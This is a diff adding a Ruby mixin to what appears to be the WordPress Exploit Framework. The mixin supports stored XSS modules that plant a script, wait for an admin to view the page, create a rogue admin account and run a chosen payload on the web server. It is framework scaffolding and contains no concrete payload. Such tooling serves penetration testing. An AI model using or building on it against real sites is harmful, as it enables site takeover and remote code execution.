|
| 1 | +# Provides reusable functionality for stored XSS modules. |
| 2 | +module Wpxf::WordPress::StoredXss |
| 3 | + include Wpxf::WordPress::Xss |
| 4 | + |
| 5 | + # Initialize a new instance of {StoredXss}. |
| 6 | + def initialize |
| 7 | + super |
| 8 | + @success = false |
| 9 | + @info[:desc] = 'This module stores a script in the target system that '\ |
| 10 | + 'will execute when an admin user views the vulnerable page, '\ |
| 11 | + 'which in turn, will create a new admin user to upload '\ |
| 12 | + 'and execute the selected payload in the context of the '\ |
| 13 | + 'web server.' |
| 14 | + end |
| 15 | + |
| 16 | + # @return [String] the URL or name of the page an admin user must view to execute the script. |
| 17 | + def vulnerable_page |
| 18 | + 'a vulnerable page' |
| 19 | + end |
| 20 | + |
| 21 | + # Abstract method which must be implemented to store the XSS include script. |
| 22 | + # @return [Wpxf::Net::HttpResponse] the HTTP response to the request to store the script. |
| 23 | + def store_script |
| 24 | + raise 'Required method "store_script" has not been implemented' |
| 25 | + end |
| 26 | + |
| 27 | + # Call #store_script and validate the response. |
| 28 | + # @return [Boolea] return true if the script was successfully stored. |
| 29 | + def store_script_and_validate |
| 30 | + res = store_script |
| 31 | + |
| 32 | + if res.nil? |
| 33 | + emit_error 'No response from the target' |
| 34 | + return false |
| 35 | + end |
| 36 | + |
| 37 | + return true if res.code == 200 |
| 38 | + |
| 39 | + emit_error "Server responded with code #{res.code}" |
| 40 | + false |
| 41 | + end |
| 42 | + |
| 43 | + # Run the module. |
| 44 | + # @return [Boolean] true if successful. |
| 45 | + def run |
| 46 | + return false unless super |
| 47 | + |
| 48 | + emit_info 'Storing script...' |
| 49 | + return false unless store_script_and_validate |
| 50 | + |
| 51 | + emit_success "Script stored and will be executed when a user views #{vulnerable_page}" |
| 52 | + start_http_server |
| 53 | + |
| 54 | + xss_shell_success |
| 55 | + end |
| 56 | +end |
0 commit comments